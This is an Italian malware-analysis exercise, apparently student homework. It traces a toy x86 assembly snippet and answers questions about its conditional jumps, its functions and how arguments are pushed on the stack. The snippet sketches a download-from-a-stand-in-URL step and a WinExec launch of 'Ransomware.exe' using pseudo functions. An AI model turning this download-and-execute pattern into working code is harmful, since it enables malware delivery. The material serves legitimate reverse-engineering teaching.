Traccia

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

1. Spiegate, motivando, quale salto condizionale effettua il Malware.
2. Traccia e requisiti Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.
3. Quali sono le diverse funzionalità implementate all'interno del Malware?
4. Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione . Aggiungere eventuali dettagli tecnici/teorici.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

1.Ci sono due salti condizionali presenti nel malware, il primo è un **jnz** alla locazione 0040105B, e il secondo alla locazione 00401068, che è un **jz**. La differenza tra questi due jump è semplicemente che il primo **(jnz)** fa il salto condizionale se e solo se ZF = 0, ovvero se gli operandi di cmp sono diversi, mentre il secondo **(jz)** fa il salto se gli operandi di cmp sono uguali, ovvero ZF=1
Per quanto riguarda il primo caso, nella prima riga di codice si copia il valore 5 nel registro EAX. Successivamente, nel cmp si controlla se il registro EAX ha valore 5. In questo caso gli operandi sono uguali e il salto condizionale jnz non viene effettuato.

per quanto riguarda il secondo, nella seconda riga di codice si da il valore 10 al registro EBX. Alla locazione 00401064 viene fatto un inc, ovvero un incremento di un valore al registro EBX, diventando 11.
Alla riga successiva viene fatto un cmp di EBX al valore 11. Anche in questo caso gli operandi sono uguali, e quindi , con il jz successivo, **si fa il salto condizionale alla locazione 0040FFA0.**

2.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

N.B. La traccia chiede di fare una rappresentazione grafica stile IDA, ma non è possibile effettuarla perché il codice malware non è completo: infatti ad ogni jump ci dovrebbero essere due opzioni, una se il test effettuato da esito positivo, e l'altra se il test dà esito negativo. Nel codice fornito non abbiamo tutto ciò, quindi viene fatta la freccia rossa per il salto condizionale non compiuto, e la verde per il salto condizionale effettuato.

3. Ci sono due funzioni implementate all'interno del Malware:

-**DownloadToFile(),** alla locazione 0040BBA8

-**WinExec(),** alla locazione 0040FFA8

4. Nel dettaglio, alla prima funzione viene copiato un indirizzo URL sospetto, ovvero www.malwaredownload.com, nel registro EAX, per poi esser pushato nello stack. Sicuramente questa funzione permette di scaricare ulteriori malware nel sistema.

Nella seconda funzione, viene copiato nel registro EDX il path dell'eseguibile del malware, ovvero C:\Programs and Settings\Local User\Desktop\Ransomware.exe. Successivamente il registro EDX viene pushato nello stack, per poi chiamare la funzione WinExec(), che sicuramente farà avviare l'eseguibile del malware.